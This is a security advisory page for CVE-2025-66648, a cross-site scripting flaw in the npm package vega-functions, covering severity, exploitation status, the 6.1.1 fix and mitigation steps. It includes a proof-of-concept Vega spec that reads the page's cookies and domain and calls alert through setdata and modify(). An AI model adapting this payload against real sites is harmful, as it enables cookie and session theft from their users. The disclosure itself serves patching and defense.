CVE-2025-66648 — vega-functions
HIGHCVE-2025-66648 is a high-severity (CVSS 7.2) Cross-site Scripting (XSS) vulnerability in vega-functions. A fix is available for vega-functions — see the affected versions and patch details below.
`vega-functions` vulnerable to Cross-site Scripting via `setdata` function
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-66648.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vega-functionsnpmDescription
Impact
For sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS).
Patches
Fixed in vega-functions 6.1.1
Workarounds
There is no workaround besides upgrading. Using vega.expressionInterpreter as described in CSP safe mode does not prevent this issue.
Exploit Proof of Concept
Vega's expression modify() function, used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:
{
"$schema": "https://vega.github.io/schema/vega/v6.json",
"data": [
{
"name": "table",
"values": [
{"category": "A", "amount": 28}
]
}
],
"signals": [
{
"name": "tooltip",
"value": {},
"on": [
{"events": {"type":"timer","throttle":2000}, "update": "setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )"},
{"events": "rect:pointerout", "update": "{}"}
]
}
]
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vega-functions | all versions | 6.1.1npm install vega-functions@6.1.1 |
Affected Products
vega-functionsvega-functions_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vega-functions, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vega-functions to 6.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-66648 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated Important for Red Hat products such as jupyterlab and snakemake in Fedora and EPEL, and cloud.redhat.com services utilizing vega-functions. The flaw allows for Cross-Site Scripting (XSS) when applications permit untrusted user input to be processed by vega-functions, potentially leading to…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2025-66648 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2025-66648 in your dependencies?
Find it across npm, including transitive dependencies.